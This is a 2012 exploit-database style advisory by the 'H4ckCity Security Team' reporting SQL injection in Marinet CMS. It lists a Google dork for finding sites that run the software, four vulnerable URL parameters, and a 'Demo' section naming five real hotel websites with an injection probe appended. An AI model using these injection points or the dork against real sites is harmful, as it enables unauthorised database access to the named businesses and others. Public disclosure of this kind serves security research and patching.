Marinet CMS SQL Injection

`############################################################################  
# Exploit Title: Marinet CMS SQL Injection Vulnerability  
# Google Dork: "powered by Marinet"  
# Date: 8/1/2012  
# Author: H4ckCity Security Team  
# Discovered By: farbodmahini  
# Home: WwW.H4ckCity.Org  
# Vendor Software: www.marinet.gr  
# Version: All Version  
# Category:: webapps  
# Security Risk:: High  
# Tested on: GNU/Linux Ubuntu - Windows Server - win7  
############################################################################  
#  
#  
# Exploit:  
#  
#  
# http://[target]/galleryphoto.php?id=[SQLi]  
# http://[target]/room.php?roomid=[SQLi]  
# http://[target]/room2.php?roomid=[SQLi]  
# http://[target]/gallery.php?photoid=1&id=[SQLi]  
#   
# Demo:  
#  
# www.nymfes.gr/galleryphoto.php?id=3'  
# www.belvedere-zante.com/galleryphoto.php?id=3'  
# www.metaxahotel.com/galleryphoto.php?id=3'  
# www.lauda-santorini.com/galleryphoto.php?id=3'  
# www.anastasiavillage.gr/galleryphoto.php?id=3'  
#  
############################################################################  
# Special Thanks : Mehdi.H4ckcity-2MzRp-Mikili-M.Prince-Bl4ck.Viper-iC0d3R-   
# IrIsT-K0242-P0W3RFU7-Mr.M4st3r-Higher_Sense ,...  
############################################################################  
GreetZ : All H4ckCity Member - BHG Members - 1337day.com  
############################################################################  
`